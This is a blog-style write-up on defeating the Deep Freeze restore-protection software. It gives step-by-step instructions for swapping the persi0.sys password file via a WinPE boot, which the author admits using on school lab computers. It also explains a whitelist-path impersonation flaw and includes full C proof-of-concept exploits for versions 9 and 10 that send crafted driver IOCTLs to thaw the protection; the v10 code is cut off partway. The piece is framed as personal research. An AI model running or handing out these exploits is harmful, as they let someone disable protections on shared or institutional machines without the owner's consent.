How to unlock Deep Freeze when you forget the password?
Eleven years ago—back when I was in the sixth grade—I managed to bypass the restore protection of Deep Freeze.
Remarkably, in the eleven years since, Deep Freeze has only seen two major version updates. Recently, on a whim, I decided to test it again and found that my original method still works, while also discovering new approaches. This article covers the following two versions:
- Standard Edition: Latest version 9.0.20.5760
- Enterprise Edition: Second-newest version 10.10.220.5788 (Version 10.20 was released just a few days ago, but it appears to be unavailable for now)
The method was tested on my own Windows 7 virtual machine, and both versions worked successfully. It is intended solely for personal learning and discussion.
Substitute persi0.sys
This method requires physical access to the machine via a USB drive to boot into WinPE.
This is the method I used back in the day when I snuck into the school computer lab. The steps were as follows:
- Note the version number of Deep Freeze installed in the lab. On a separate device, set up a virtual machine, download and install the same version of Deep Freeze, and set (and memorize) your own password.
- After rebooting, boot into the PE environment and copy the
persi0.sysfile from the root of the C drive to your USB drive (since the file cannot be copied while the system is running, an offline environment is required). - During computer class, use your PE boot drive to enter the PE environment and overwrite the existing
persi0.sysfile in the C drive's root directory with the one you copied. - Upon the next reboot into the original system, press Ctrl+Alt+Shift+F6, enter the password you set earlier to unlock it, select "Thaw" (disable protection), and reboot again; you can then uninstall the software using the corresponding installer package.
A crucial prerequisite for this method was that the lab computers' BIOS settings were not password-protected at the time.
Regarding official patches: this method remained effective up to version 8.35. In February 2017, the official version 8.37 was released with integrity checks; following these steps caused the Deep Freeze icon to disappear. Although the software was effectively broken, the system remained in a "thawed" state, allowing for direct uninstallation using the appropriate installer package.
By the time version 9.0.20.5760 arrived, the integrity check appeared to be gone. I personally set up two VMware virtual machines (note: these were not clones; the vol C: output differed, implying distinct machine fingerprints) and observed two phenomena:
- When the same password was set for Deep Freeze on both systems, a byte-by-byte
diffcomparison of the exportedpersi0.sysfiles showed they were identical. - If Virtual Machine A and Virtual Machine B had different passwords, replacing A's
persi0.syswith B's version allowed me to successfully log in to Virtual Machine A using B's password.
Subsequent reverse engineering confirmed that the driver performs no signature verification, though the user-mode application FrzState2k.exe contains an embedded Base64-encoded RSA public key. RSA 3072 in X.509 SubjectPublicKeyInfo format, with the following specific content:
MIIBoDANBgkqhkiG9w0BAQEFAAOCAY0AMIIBiAKCAYEA2RePUsV+NetwZuAWHMOmEjzUrXOFHsAG3YL2vy/PBt1CsIOXeUPb+KgOtFJN2rfbvgULnQmI50GK7lF+J6za9TUP6QAAWKlkc2XO1BbiGD9O83g9Vcw8dZwbKZbRmEEnQoYALfQaXdIg8ehHGgLT4K8b9C3cPklNNQUpgazrj5Xrdbu+EuwTfoW1mc3SfJkWZBLWiPPiHjd1xzxtiVhO/D+ANNMWsL8D/yQTwvg6vkLOIUR2M/MLqDBAgB309/XtPsJQ9WIVJxSMd+Fj+DVTbJtJd1V/usttlK54/4wY63mHXO38oNZV1tMKRHlYpvXoGFAtFiTBCf1LAlHUN0Q/qtHfbYxFc60Jbdgqgb+SEFETNXQIHSlmGAN66DZauesdrADri1fIc2O+Bzzz8c9bTDcdu4x6whDwU+2BL8qszORIWiECU4z57w7N22fnLAE1Z8+RrJq/7dLgZNFBxZEexM2hfhTz40vIWfhD5En+WwZUa+vEud4DIPqu8Ltq9NZZAgER
Based on a fundamental trust in cryptography, I believe it is virtually impossible to recover the plaintext password solely from persi0.sys.
Impersonating whitelist path
Requiring administrator privileges on the current computer only.
The most significant vulnerability identified through static analysis is that the program employs whitelist-based regular expression matching; specifically, the matching method is:
*\WINDOWS\SYSTEM32\DFC.EXE*
*\WINDOWS\SYSWOW64\DFC.EXE*
*\FARONICS\DEEP FREEZE\INSTALL C-0\DFSERV.EXE*
*\FARONICS\DEEP FREEZE\INSTALL C-0\_$DF\FRZSTATE2K.EXE*
This means that simply by creating a file named something like DFServ.exe.20260928.exe and placing it in the Install C-0 directory, you effectively gain the same status as programs like DFServ.exe.
This version applies to both 9.0.20.5760 and 10.10.220.5788; the bypass strategy is essentially the same, though implementation details differ due to parameter adjustments made by the official release.
9.0.20.5760
Let's focus here on how the whitelist verification mechanism is implemented. First, let's examine the cross-references (Xrefs) to see where the deepfrz.sys driver calls the ZwQueryInformationProcess API:
Examining sub_140007A8C, the F5 decompiler output is as follows:
__int64 __fastcall sub_140007A8C(__int64 a1, _QWORD *a2)
{
NTSTATUS InformationProcess; // eax
PVOID PoolWithTag; // rbx
NTSTATUS v6; // edi
SIZE_T NumberOfBytes; // [rsp+48h] [rbp+10h] BYREF
LODWORD(NumberOfBytes) = 0;
*a2 = 0;
InformationProcess = ZwQueryInformationProcess(
ProcessHandle: (HANDLE)0xFFFFFFFFFFFFFFFFLL,
ProcessInformationClass: ProcessImageFileName,
ProcessInformation: nullptr,
ProcessInformationLength: 0,
ReturnLength: (PULONG)&NumberOfBytes);
if ( (_DWORD)NumberOfBytes == 0 || InformationProcess != 0xC0000004 )
return 0xC0000001LL;
PoolWithTag = ExAllocatePoolWithTag(PoolType: PagedPool, (unsigned int)NumberOfBytes, Tag: 0x636F7250u);
if ( PoolWithTag == nullptr )
return 3221225626LL;
v6 = ZwQueryInformationProcess(
ProcessHandle: (HANDLE)0xFFFFFFFFFFFFFFFFLL,
ProcessInformationClass: ProcessImageFileName,
ProcessInformation: PoolWithTag,
ProcessInformationLength: NumberOfBytes,
ReturnLength: (PULONG)&NumberOfBytes);
if ( v6 < 0 )
{
_mm_lfence();
ExFreePoolWithTag(P: PoolWithTag, Tag: 0);
}
else
{
*a2 = PoolWithTag;
}
return (unsigned int)v6;
}
Looking at the parent function sub_1400073F0, after the program executes the aforementioned sub_140007A8C, it proceeds to sub_1400179E8 (which is FsRtlIsNameInExpression):
if ( v5 == 468200 )
{
P = nullptr;
if ( (int)sub_140007A8C(a1, a2: &P) >= 0 )
{
v22 = 0;
while ( 1 )
{
v24 = 0;
RtlInitUnicodeString(&DestinationString, SourceString: off_140029000[v22]);
if ( (unsigned __int8)sub_1400179E8(a1: P, a2: &DestinationString) == 1 )
break;
if ( DestinationString.Buffer != nullptr && v24 != 0 )
sub_1400124F0(a1: DestinationString.Buffer, a2: 2);
if ( (unsigned __int64)++v22 >= 4 )
goto LABEL_121;
}
if ( DestinationString.Buffer != nullptr && v24 != 0 )
sub_1400124F0(a1: DestinationString.Buffer, a2: 2);
LABEL_121:
ExFreePoolWithTag(P, Tag: 0);
if ( v22 == 4 )
{
v14 = -1073741790;
goto LABEL_51;
}
}
}
a2 = v4;
So, we should focus on the off_140029000 constant, as the business logic suggests that the code in this vicinity almost certainly involves whitelist matching. Let's take a look:
.data:0000000140029000 off_140029000 dq offset aWindowsSystem3
.data:0000000140029000 ; DATA XREF: sub_1400073F0:loc_14000782A↑o
.data:0000000140029000 ; "*\\WINDOWS\\SYSTEM32\\DFC.EXE*"
.data:0000000140029008 dq offset aWindowsSyswow6 ; "*\\WINDOWS\\SYSWOW64\\DFC.EXE*"
.data:0000000140029010 dq offset aFaronicsDeepFr ; "*\\FARONICS\\DEEP FREEZE\\INSTALL C-0\\"...
.data:0000000140029018 dq offset aFaronicsDeepFr_0 ; "*\\FARONICS\\DEEP FREEZE\\INSTALL C-0\\"...
Double-clicking jumps to the corresponding offset, confirming the earlier claim:
.rdata:00000001400257C0 aWindowsSystem3: ; DATA XREF: .data:off_140029000↓o
.rdata:00000001400257C0 text "UTF-16LE", '*\WINDOWS\SYSTEM32\DFC.EXE*',0
.rdata:00000001400257F8 aWindowsSyswow6: ; DATA XREF: .data:0000000140029008↓o
.rdata:00000001400257F8 text "UTF-16LE", '*\WINDOWS\SYSWOW64\DFC.EXE*',0
.rdata:0000000140025830 aFaronicsDeepFr: ; DATA XREF: .data:0000000140029010↓o
.rdata:0000000140025830 text "UTF-16LE", '*\FARONICS\DEEP FREEZE\INSTALL C-0\DFSERV.EXE*',0
.rdata:000000014002588E align 10h
.rdata:0000000140025890 aFaronicsDeepFr_0: ; DATA XREF: .data:0000000140029018↓o
.rdata:0000000140025890 text "UTF-16LE", '*\FARONICS\DEEP FREEZE\INSTALL C-0\_$DF\FRZSTATE2K.'
.rdata:00000001400258F6 text "UTF-16LE", 'EXE*',0
The next step is to look at how to interact with the driver. I'll let the LLM handle this part; the corresponding functions are:
| # | Item to Reverse-Engineer | IDA Location | Values from the Provided Packet |
|---|---|---|---|
| 1 | IOCTL code table + dispatch chain | sub_1400073F0 → sub_140001060 → sub_140008D18 (subtraction chain) |
4 codes: 0x724E8 / 0x7207C / 0x72024 / 0x72094 |
| 2 | Calling conventions for the two queries | sub_140007B48, sub_140007BB8 |
id, type1 (input NULL, output 4, no unpacking) |
| 3 | Two-stage read | sub_140009C78 → sub_140022B4C / sub_140022E18 |
N + record body (returned as-is) |
| 4 | Record field constraints | sub_14000AB28 (+2/+0xD4 validation), sub_140023780 (3221 B) |
+0x02 = 0x1712, +0xD4 = id |
| 5 | Fields accepted upon submission | sub_14000AB28(mode 4) cloning chain (sub_1400124D0→sub_1400063E8→sub_140023780→sub_140003650) |
+0x04 = 1, +0x72 = 7 |
| 6 | Trailer fields and values | Template byte_8772FC + sub_4BC984/sub_4BCAEC/sub_4BC350; sub_140022B74, sub_140022BAC |
+0x00/+0x82/+0x8A/+0x8E |
| 7 | Inner transformation and scope | sub_14000FFEC ≡ sub_4DBCDC |
^0xC0, applies only to the first min(len, 0x3000) bytes |
| 8 | Outer trailer layout and magic number | sub_4BE1DC ↔ sub_1400010DC; magic number cmp [rbx+0Ch], 6789DEDCh |
[id][0x6789DEDC][12] |
| 9 | Outer transformation, recurrence, seed, window | sub_4A7ED8+sub_4A7F14+sub_4A7F54 ↔ sub_14000B7F4+sub_14000B724(&ctx, 60) |
Reverse-order XOR, s^(k+3), 181/163, timestamp-based seed, window size 60 |
| 10 | Submission semantics and length constraints | sub_14000AB28(mode 4); sub_140001B38 (write only if v8 == a4) |
Length must exactly match slot length; success = returns N |
With this information in hand, we can start writing the PoC:
/* DeepFrz.sys 9.00.020.5760, exact SHA-256 pinned below.
* Static-analysis PoC. Never run by the authoring session.
* No CRT, no reboot, no 0x72028, no retry of the write request.
* Run only when explicitly ready: thaw_once.exe --thaw-once
*/
#define WIN32_LEAN_AND_MEAN
#define _WIN32_WINNT 0x0601
#include <windows.h>
#include <wincrypt.h>
#include <shellapi.h>
#define IO_READ 0x00072024u
#define IO_COMMIT 0x00072094u
#define IO_TYPE1 0x0007207Cu
#define IO_RECORD_ID 0x000724E8u
#define MAX_RECORD 0xBADBu
#define MIN_RECORD (637u + 3221u)
#define TAIL_SIZE 146u
#define OUTER_SIZE 12u
static const BYTE expected_sha256[32] = {
0xC4,0xB9,0xE8,0x41,0xA6,0x79,0x8A,0x47,
0x40,0xB1,0xAA,0x01,0x4B,0x03,0x3A,0x2E,
0x86,0x4D,0xF6,0x65,0xC1,0xDB,0x6B,0x67,
0x9F,0x31,0xBC,0x8D,0x77,0xDB,0xB7,0x3F
};
static DWORD length(const char *s) { DWORD n=0; while(s[n]) ++n; return n; }
static void say(const char *s) {
DWORD n;
WriteFile(GetStdHandle(STD_OUTPUT_HANDLE),s,length(s),&n,NULL);
}
static void hex32(DWORD v) {
char s[11]; DWORD i;
s[0]='0'; s[1]='x'; s[10]=0;
for(i=0;i<8;++i) s[9-i]="0123456789ABCDEF"[(v>>(4*i))&15u];
say(s);
}
static BOOL equal_w(const WCHAR *a,const WCHAR *b) {
while(*a && *a==*b) { ++a; ++b; } return *a==*b;
}
static BYTE *allocate(DWORD n) {
return (BYTE*)HeapAlloc(GetProcessHeap(),HEAP_ZERO_MEMORY,n);
}
static void release(void *p) { if(p) HeapFree(GetProcessHeap(),0,p); }
static DWORD get32(const BYTE *p) {
return (DWORD)p[0]|((DWORD)p[1]<<8)|((DWORD)p[2]<<16)|((DWORD)p[3]<<24);
}
static WORD get16(const BYTE *p) { return (WORD)(p[0]|((WORD)p[1]<<8)); }
static void put32(BYTE *p,DWORD n) {
p[0]=(BYTE)n; p[1]=(BYTE)(n>>8); p[2]=(BYTE)(n>>16); p[3]=(BYTE)(n>>24);
}
static void put16(BYTE *p,WORD n) { p[0]=(BYTE)n; p[1]=(BYTE)(n>>8); }
static void copy_bytes(BYTE *d,const BYTE *s,DWORD n) {
DWORD i; for(i=0;i<n;++i) d[i]=s[i];
}
/* Check the on-disk driver before opening the volume. Does not prove the
* loaded kernel image matches a subsequently replaced on-disk file. */
static BOOL verify_target(void) {
OSVERSIONINFOA os={0};
char path[MAX_PATH];
const char suffix[]="\\drivers\\DeepFrz.sys";
HCRYPTPROV provider=0; HCRYPTHASH hash=0;
HANDLE file=INVALID_HANDLE_VALUE;
BYTE digest[32]; BYTE *chunk=NULL;
DWORD n,i,read_n,digest_n=32; BOOL ok=FALSE;
LARGE_INTEGER size;
if(sizeof(void*)!=8) { say("This PoC requires x64.\r\n"); return FALSE; }
os.dwOSVersionInfoSize=sizeof(os);
if(!GetVersionExA(&os) || os.dwMajorVersion!=6 || os.dwMinorVersion!=1) {
say("Refusing: expected Windows 7 / NT 6.1.\r\n"); return FALSE;
}
n=GetSystemDirectoryA(path,MAX_PATH);
if(!n || n>=MAX_PATH || (path[0]!='C' && path[0]!='c') || path[1]!=':') {
say("Refusing: expected the analyzed C: system volume.\r\n"); return FALSE;
}
if(n+sizeof(suffix)>MAX_PATH) return FALSE;
for(i=0;i<sizeof(suffix);++i) path[n+i]=suffix[i];
file=CreateFileA(path,GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTING,0,NULL);
if(file==INVALID_HANDLE_VALUE) goto done;
if(!GetFileSizeEx(file,&size) || size.QuadPart!=203832) goto done;
if(!CryptAcquireContextA(&provider,NULL,NULL,PROV_RSA_AES,CRYPT_VERIFYCONTEXT)) goto done;
if(!CryptCreateHash(provider,CALG_SHA_256,0,0,&hash)) goto done;
chunk=allocate(4096);
if(!chunk) goto done;
for(;;) {
if(!ReadFile(file,chunk,4096,&read_n,NULL)) goto done;
if(!read_n) break;
if(!CryptHashData(hash,chunk,read_n,0)) goto done;
}
if(!CryptGetHashParam(hash,HP_HASHVAL,digest,&digest_n,0) || digest_n!=32) goto done;
for(i=0;i<32;++i) if(digest[i]!=expected_sha256[i]) goto done;
ok=TRUE;
done:
release(chunk);
if(hash) CryptDestroyHash(hash);
if(provider) CryptReleaseContext(provider,0);
if(file!=INVALID_HANDLE_VALUE) CloseHandle(file);
if(!ok) say("Refusing: driver size/hash verification failed.\r\n");
return ok;
}
/* Exactly the observed volume-open parameters. Reopen for each request,
* as DFServ does. No alternate device and no write-request retry. */
static BOOL ioctl(DWORD code,BYTE *input,DWORD in_n,BYTE *output,DWORD out_n,DWORD *returned) {
HANDLE h=CreateFileA("\\\\.\\C:",0,0,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);
BOOL ok; DWORD error;
*returned=0;
if(h==INVALID_HANDLE_VALUE) {
say("CreateFile failed: "); hex32(GetLastError()); say("\r\n"); return FALSE;
}
ok=DeviceIoControl(h,code,input,in_n,output,out_n,returned,NULL);
error=ok?0:GetLastError();
CloseHandle(h);
if(!ok) {
say("DeviceIoControl "); hex32(code); say(" failed: "); hex32(error); say("\r\n");
}
return ok;
}
/* 140007B48 / 140007BB8 require SystemBuffer and output length exactly 4.
* They do not read/decode input. The I/O manager supplies SystemBuffer
* from OutputBufferLength=4 even when input is NULL. */
static BOOL query_dword(DWORD code,DWORD *value) {
BYTE out[4]={0}; DWORD returned;
if(!ioctl(code,NULL,0,out,4,&returned) || returned!=4) return FALSE;
*value=get32(out); return TRUE;
}
/* 4BE1DC / 4A7ED8, matched against 1400010DC / 14000B7F4.
* Fresh UTC seconds for every request; no timestamp copied from DFTime. */
static BYTE *wrap(const BYTE *plain,DWORD n,DWORD id,DWORD *wire_n) {
FILETIME ft; ULARGE_INTEGER t;
ULONGLONG seconds;
DWORD k,total=n+OUTER_SIZE;
WORD state;
BYTE *wire=allocate(total);
if(!wire) return NULL;
copy_bytes(wire,plain,n);
put32(wire+n,id); put32(wire+n+4,0x6789DEDCu); put32(wire+n+8,OUTER_SIZE);
GetSystemTimeAsFileTime(&ft);
t.LowPart=ft.dwLowDateTime; t.HighPart=ft.dwHighDateTime;
if(t.QuadPart<116444736000000000ULL) { release(wire); return NULL; }
seconds=(t.QuadPart-116444736000000000ULL)/10000000ULL;
if(seconds>0x7FFFFFFFULL) { release(wire); return NULL; }
state=(WORD)seconds;
for(k=0;k<total;++k) {
state=(WORD)(2u*((DWORD)state/181u)-163u*((DWORD)state%181u));
wire[total-1-k]^=(BYTE)((BYTE)state^(BYTE)(k+3u));
}
*wire_n=total; return wire;
}
static BOOL read_slot0(DWORD id,BYTE *out,DWORD out_n,DWORD *returned) {
BYTE index[4]={0}; DWORD wire_n=0;
BYTE *wire=wrap(index,4,id,&wire_n); BOOL ok;
if(!wire) return FALSE;
ok=ioctl(IO_READ,wire,wire_n,out,out_n,returned);
release(wire); return ok;
}
static DWORD thaw_once(void) {
DWORD id,key,n,returned,wire_n,i,plain_n;
BYTE size_bytes[4]={0}; BYTE *record=NULL,*plain=NULL,*wire=NULL;
DWORD result=1;
if(!verify_target()) return 1;
if(!query_dword(IO_RECORD_ID,&id) || !query_dword(IO_TYPE1,&key)) return 1;
if(!read_slot0(id,size_bytes,4,&returned) || returned!=4) return 1;
n=get32(size_bytes);
/* Bounds cover the subregion the handler itself copies and the
* maximum clone allocation in this exact driver. Do not guess N. */
if(n<MIN_RECORD || n>MAX_RECORD) {
say("Refusing unexpected record length: "); hex32(n); say("\r\n"); return 1;
}
record=allocate(n);
if(!record || !read_slot0(id,record,n,&returned) || returned!=n) goto done;
if(get16(record)!=n || get16(record+2)!=0x1712 || get32(record+0xD4)!=id) {
say("Refusing inconsistent record header/id.\r\n"); goto done;
}
plain_n=n+TAIL_SIZE;
plain=allocate(plain_n);
if(!plain) goto done;
copy_bytes(plain,record,n);
put32(plain+0x04,1); /* one thawed initialization interval */
put16(plain+0x72,7); /* DFServ RebootThawed operation */
put32(plain+n+0x00,key); /* from 0x7207C, NOT readback +0x289 */
put32(plain+n+0x82,1); /* type-1 validation */
put32(plain+n+0x8A,0); /* slot 0 */
put32(plain+n+0x8E,TAIL_SIZE);
/* All remaining trailer bytes are zero, as in DFServ. */
for(i=0;i<plain_n && i<0x3000u;++i) plain[i]^=0xC0;
wire=wrap(plain,plain_n,id,&wire_n);
if(!wire) goto done;
say("Submitting ONE 0x72094 request (count=1, operation=7).\r\n");
if(!ioctl(IO_COMMIT,wire,wire_n,NULL,0,&returned)) {
say("Write outcome is not confirmed; do not assume nothing changed. No retry was made.\r\n");
goto done;
}
if(returned!=n) {
say("Unexpected completion length; write may have occurred. No retry was made.\r\n");
goto done;
}
say("Driver reported success. No reboot was requested. Actual thaw state is not verified.\r\n");
result=0;
done:
release(wire); release(plain); release(record);
return result;
}
/* Custom PE entry point keeps the executable independent of UCRT/.NET. */
void entry(void) {
int argc=0; DWORD result=2;
WCHAR **argv=CommandLineToArgvW(GetCommandLineW(),&argc);
if(argv && argc==2 && equal_w(argv[1],L"--thaw-once")) result=thaw_once();
else say("Version-pinned static-analysis PoC.\r\nUsage: thaw_once.exe --thaw-once\r\nNo device calls made without that argument. No automatic reboot.\r\n");
if(argv) LocalFree(argv);
ExitProcess(result);
}
10.10.220.5788
Compared to v9, the v10 version retains the same whitelist, but the driver has undergone significant changes:
| # | Item | v9 | v10 |
|---|---|---|---|
| 1 | Record ID query code | 0x724E8 |
0x724E4 |
| 2 | Length/Read code | 0x72024 |
0x72020 (0x72024 changed to "Write Mode 0 Pre-check") |
| 3 | Submission mode | 0x72094 ⇒ mode 4 |
0x72094 ⇒ mode 3 |
| 4 | Trailer first dword | Type-1 value (record +0x289, fetched from 0x7207C) → Source: put32(plain+n+0x00,key) |
Record ID → Source: put32(payload+n+0x00,id) (key is only printed, not used) |
| 5 | Inner transformation | Inline p[i]^=0xC0 |
inner_transform(): p[i]^=i^(0xBC+i) |
| 6 | Outer magic number | 0x6789DEDC |
0x6789EFDC |
| 7 | Outer recurrence | state=2*(state/181)-163*(state%181) |
173/137 version implemented via magic number division (2060591247) |
I won't go into further detail here; the PoC is as follows:
/* DeepFrz.sys 10.10.220.5788, exact SHA-256 pinned below.
* v11 candidate: corrected v10 protocol port. Static-analysis derived; the
* authoring session did NOT run it.
*
* Corrections versus poc\thaw_once_v10_candidate.c, both proven from the
* v10 driver and from the UPX-unpacked v10 DFServ.exe:
*
* 1. 0x72024 is NOT the length query in v10. Sending a 4-byte payload to
* 0x72024 makes sub_14000ADE8's trailer parser sub_140022E54 return NULL
* (it requires payloadLen >= 0x92 and u32@(payload+payloadLen-4) == 146),
* so the handler takes LABEL_49 and completes with STATUS_INVALID_PARAMETER
* (0xC000000D) -> Win32 ERROR_INVALID_PARAMETER (0x57), exactly the observed
* failure. The length query / record read moved to 0x72020.
* 2. The inner payload transform is not a flat XOR 0xC0. v10 uses
* payload[i] ^= (BYTE)i ^ (BYTE)(0xBC + i) for i < min(len,0x3000)
* (driver sub_1400102C0, DFServ sub_4DC0FC -- identical).
*
* No CRT, no reboot, no retry. Run only when explicitly ready:
* thaw_once_v11_candidate.exe --thaw-once
*/
#define WIN32_LEAN_AND_MEAN
#define _WIN32_WINNT 0x0601
#include <windows.h>
#include <wincrypt.h>
#include <shellapi.h>
/* v10 request codes, each traced to its handler in DeepFrz.sys 10.10.220.5788:
* 0x72020 -> worker sub_140008D28 -> sub_140009C88 length query / record read
* 0x72024 -> worker sub_140008D28 -> sub_14000ADE8 mode 0 read w/ trailer
* 0x7208C -> worker sub_140008D28 -> sub_14000ADE8 mode 2
* 0x72094 -> worker sub_140008D28 -> sub_14000ADE8 mode 3 commit
* 0x7207C -> pre-dispatch sub_140007400 (unpacked, needs OutputBufferLength>=4)
* 0x724E4 -> worker sub_140007B58 (unpacked, needs OutputBufferLength==4)
*/
#define IO_META 0x00072020u
#define IO_READ 0x00072024u
#define IO_COMMIT 0x00072094u
#define IO_TYPE1 0x0007207Cu
#define IO_RECORD_ID 0x000724E4u
/* DFServ v10 rejects Size > 0xB9BB (sub_4BC6D8). The driver's own memcpy of
* 3221 bytes at record+637 needs N >= 637+3221. */
#define MAX_RECORD 0xB9BBu
#define MIN_RECORD (637u + 3221u)
#define TAIL_SIZE 146u
#define OUTER_SIZE 12u
#define SLOT0 0u
static const BYTE expected_sha256[32] = {
0x2E,0xDE,0x84,0x4D,0x9E,0x28,0x33,0x22,
0x8C,0xF0,0xEB,0x16,0x18,0x71,0x20,0xCA,
0x59,0x86,0x4F,0x87,0x09,0xEA,0x4F,0xA2,
0x40,0xFE,0xC5,0x2B,0x3A,0xB2,0x24,0xCF
};
static DWORD length(const char *s) { DWORD n=0; while(s[n]) ++n; return n; }
static void say(const char *s) {
DWORD n;
WriteFile(GetStdHandle(STD_OUTPUT_HANDLE),s,length(s),&n,NULL);
}
static void hex32(DWORD v) {
char s[11]; DWORD i;
s[0]='0'; s[1]='x'; s[10]=0;
for(i=0;i<8;++i) s[9-i]="0123456789ABCDEF"[(v>>(4*i))&15u];
say(s);
}
static BOOL equal_w(const WCHAR *a,const WCHAR *b) {
while(*a && *a==*b) { ++a; ++b; } return *a==*b;
}
static BYTE *allocate(DWORD n) {
return (BYTE*)HeapAlloc(GetProcessHeap(),HEAP_ZERO_MEMORY,n);
}
static void release(void *p) { if(p) HeapFree(GetProcessHeap(),0,p); }
static DWORD get32(const BYTE *p) {
return (DWORD)p[0]|((DWORD)p[1]<<8)|((DWORD)p[2]<<16)|((DWORD)p[3]<<24);
}
static WORD get16(const BYTE *p) { return (WORD)(p[0]|((WORD)p[1]<<8)); }
static void put32(BYTE *p,DWORD n) {
p[0]=(BYTE)n; p[1]=(BYTE)(n>>8); p[2]=(BYTE)(n>>16); p[3]=(BYTE)(n>>24);
}
static void put16(BYTE *p,WORD n) { p[0]=(BYTE)n; p[1]=(BYTE)(n>>8); }
static void copy_bytes(BYTE *d,const BYTE *s,DWORD n) {
DWORD i; for(i=0;i<n;++i) d[i]=s[i];
}
/* Check the on-disk driver before opening the volume. Does not prove the
* loaded kernel image matches a subsequently replaced on-disk file. */
static BOOL verify_target(void) {
OSVERSIONINFOA os={0};
char path[MAX_PATH];
const char suffix[]="\\drivers\\DeepFrz.sys";
HCRYPTPROV provider=0; HCRYPTHASH hash=0;
HANDLE file=INVALID_HANDLE_VALUE;
BYTE digest[32]; BYTE *chunk=NULL;
DWORD n,i,read_n,digest_n=32; BOOL ok=FALSE;
LARGE_INTEGER size;
if(sizeof(void*)!=8) { say("This PoC requires x64.\r\n"); return FALSE; }
os.dwOSVersionInfoSize=sizeof(os);
if(!GetVersionExA(&os) || os.dwMajorVersion!=6 || os.dwMinorVersion!=1) {
say("Refusing: expected Windows 7 / NT 6.1.\r\n"); return FALSE;
}
n=GetSystemDirectoryA(path,MAX_PATH);
if(!n || n>=MAX_PATH || (path[0]!='C' && path[0]!='c') || path[1]!=':') {
say("Refusing: expected the analyzed C: system volume.\r\n"); return FALSE;
}
if(n+sizeof(suffix)>MAX_PATH) return FALSE;
for(i=0;i<sizeof(suffix);++i) path[n+i]=suffix[i];
file=CreateFileA(path,GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTING,0,NULL);
if(file==INVALID_HANDLE_VALUE) goto done;
if(!GetFileSizeEx(file,&size) || size.QuadPart!=204880) goto done;
if(!CryptAcquireContextA(&provider,NULL,NULL,PROV_RSA_AES,CRYPT_VERIFYCONTEXT)) goto done;
if(!CryptCreateHash(provider,CALG_SHA_256,0,0,&hash)) goto done;
chunk=allocate(4096);
if(!chunk) goto done;
for(;;) {
if(!ReadFile(file,chunk,4096,&read_n,NULL)) goto done;
if(!read_n) break;
if(!CryptHashData(hash,chunk,read_n,0)) goto done;
}
if(!CryptGetHashParam(hash,HP_HASHVAL,digest,&digest_n,0) || digest_n!=32) goto done;
for(i=0;i<32;++i) if(digest[i]!=expected_sha256[i]) goto done;
ok=TRUE;
done:
release(chunk);
if(hash) CryptDestroyHash(hash);
if(provider) CryptReleaseContext(provider,0);
if(file!=INVALID_HANDLE_VALUE) CloseHandle(file);
if(!ok) say("Refusing: driver size/hash verification failed.\r\n");
return ok;
}
/* Same volume-open parameters as the observed DFServ path:
* access=0, share=0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL. */
static BOOL raw_call(DWORD code,BYTE *input,DWORD in_n,BYTE *output,DWORD out_n,DWORD *returned) {
HANDLE h=CreateFileA("\\\\.\\C:",0,0,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);
BOOL ok; DWORD error;
*returned=0;
if(h==INVALID_HANDLE_VALUE) {
say("CreateFile failed: "); hex32(GetLastError()); say("\r\n"); return FALSE;
}
ok=DeviceIoControl(h,code,input,in_n,output,out_n,returned,NULL);
error=ok?0:GetLastError();
CloseHandle(h);
if(!ok) { say("DeviceIoControl "); hex32(code); say(" failed: "); hex32(error); say("\r\n"); }
return ok;
}
/* 0x724E4: sub_140007B58 requires OutputBufferLength == 4 exactly and does not
* read or decode the input; it returns u32@(current_record+0xD4). Unpacked.
* 0x7207C: pre-dispatch sub_140007400 requires OutputBufferLength >= 4 and
* returns !*(u8*)(*(device+104)+243). Unpacked. Both observed in DFServ v10. */
static BOOL query_raw(DWORD code,DWORD *value) {
BYTE out[4]={0}; DWORD returned;
if(!raw_call(code,NULL,0,out,4,&returned) || returned!=4) return FALSE;
*value=get32(out); return TRUE;
}
/* Driver sub_1400102C0 / DFServ sub_4DC0FC: payload[i] ^= (BYTE)i ^ (BYTE)(0xBC+i),
* the first min(len,0x3000) bytes only. This is NOT a flat XOR 0xC0. */
static void inner_transform(BYTE *p,DWORD n) {
DWORD i,lim=(n>0x3000u)?0x3000u:n;
for(i=0;i<lim;++i) p[i]^=(BYTE)((BYTE)i^(BYTE)(0xBCu+i));
}
/* Driver sub_14000BAC8 / sub_14000BA3C and DFServ sub_4BE564 / sub_4A8260:
* outer 12-byte tail is id || 0x6789EFDC || 12, then a whole-wire reverse XOR
* with state = (seed16 - attempt) and mask (k+3). Verified byte-for-byte. */
static BYTE *wrap(const BYTE *plain,DWORD n,DWORD id,DWORD *wire_n) {
FILETIME ft; ULARGE_INTEGER t;
ULONGLONG seconds;
DWORD k,total=n+OUTER_SIZE;
WORD state;
BYTE *wire=allocate(total);
if(!wire) return NULL;
copy_bytes(wire,plain,n);
put32(wire+n,id); put32(wire+n+4,0x6789EFDCu); put32(wire+n+8,OUTER_SIZE);
GetSystemTimeAsFileTime(&ft);
t.LowPart=ft.dwLowDateTime; t.HighPart=ft.dwHighDateTime;
if(t.QuadPart<116444736000000000ULL) { release(wire); return NULL; }
seconds=(t.QuadPart-116444736000000000ULL)/10000000ULL;
if(seconds>0x7FFFFFFFULL) { release(wire); return NULL; }
state=(WORD)seconds;
for(k=0;k<total;++k) {
DWORD prod=(DWORD)(((ULONGLONG)2060591247u*(DWORD)state)>>32);
DWORD q=prod+(((DWORD)state-prod)>>1);
DWORD r=q>>7;
state=(WORD)(2u*r-137u*((DWORD)state-173u*r));
wire[total-1-k]^=(BYTE)((BYTE)state^(BYTE)(k+3u));
}
*wire_n=total; return wire;
}
/* 0x72020 (driver sub_140009C88): payload is a 4-byte index, wrapped.
* The I/O manager supplies SystemBuffer from max(InputBufferLength,
* OutputBufferLength), so the wrapped 16-byte input is what the handler
* unwraps. OutputBufferLength < record length => the length is written back as
* one DWORD with Information=4; otherwise the record itself is read. */
static BOOL meta_call(DWORD id,DWORD index,BYTE *out,DWORD out_n,DWORD *returned) {
BYTE idx[4]; BYTE *wire; DWORD wire_n=0; BOOL ok;
put32(idx,index);
wire=wrap(idx,4,id,&wire_n);
if(!wire) return FALSE;
ok=raw_call(IO_META,wire,wire_n,out,out_n,returned);
release(wire); return ok;
}
